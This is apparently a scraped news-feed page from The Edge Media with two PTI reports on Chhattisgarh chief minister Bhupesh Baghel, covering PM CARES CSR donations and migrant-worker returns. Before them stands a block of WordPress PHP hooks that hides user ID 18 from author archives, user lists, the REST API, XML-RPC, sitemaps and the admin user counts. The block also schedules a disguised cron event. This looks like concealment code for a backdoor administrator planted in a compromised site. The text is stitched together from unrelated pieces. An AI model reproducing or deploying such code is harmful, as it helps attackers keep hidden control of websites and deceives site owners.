add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Chhattisgarh CM Bhupesh Baghel asked the PM to return CSR PM CARES donations from Chattisgarh appeared first on The Edge Media.
]]>The statement comes days after Baghel went public with details of contributions made to the chief minister’s relief fund. “The country has the right to know about the PM CARES fund. They (people) should know. There is nothing to hide anything on it,” he said.
Baghel said he has told Prime Minister Narendra Modi that donations to the PM CARES fund have been made by the industrialists of the state as part of their Corporate Social Responsibility. “I have told the PM that the money (CSR fund donation to the fund) is of Chhattisgarh. It is ours. It is of the people of the state. Give that money to us so that we can take decisions for their benefit and welfare,” he said.
Going public with the details of donations made in the chief minister’s relief fund, Baghel had on Monday said Rs 56.4 crore was received between March 24 and May 7 by commercial and social organizations, firms, government staff and citizens. — PTI
The post Chhattisgarh CM Bhupesh Baghel asked the PM to return CSR PM CARES donations from Chattisgarh appeared first on The Edge Media.
]]>The post Congress-led Chhattisgarh CM Bhupesh Baghel accuses the center of discrimination, information leaks, and lack of communication. appeared first on The Edge Media.
]]>“They should have arranged for their movement earlier. They should have taken the states into confidence. There was no arrangement for buses and trains for the workers. People are worried. They want to go back to their home. Some are going on foot and even walking on railway tracks. It is resulting in the death of some as well, which is heart-wrenching,” he said.
On the question of returning migrant workers to his state, Baghel said some of them might have the potential of carrying the deadly virus. “We have done all preparations to deal with it. It is true that thousands of workers and stranded people of Chhattisgarh are coming back to the state. They will come from the red zone and the orange zone. Who all might they meet on the way and get contamination? It is a matter of concern for us. But we have done all preparations for it,” he said.
Baghel said over 16,000 quarantine centers have been made in villages so that these people can be kept there in case of need for 14 days. “We have to manage their food and shelter as well and also for the employment needs after they have completed 14 days’ quarantine. None of the states like Chhattisgarh is trying to runway from its responsibility of providing basic needs to these returning workers,” he said.
The chief minister, however, said if the states do not know about the trains carrying workers started by the Centre, then there are chances of cases of the infection going up. “If we do not know where would people go after coming from trains? If we do not know whether they are clean or carrying the infection? Then there is a possibility of infection cases going up,” he said.
Baghel said the states should have the right to decide on what all activities can be started for reviving the economy and also on the resumption of inter-state road, rail and air services for the passengers. — PTI
The post Congress-led Chhattisgarh CM Bhupesh Baghel accuses the center of discrimination, information leaks, and lack of communication. appeared first on The Edge Media.
]]>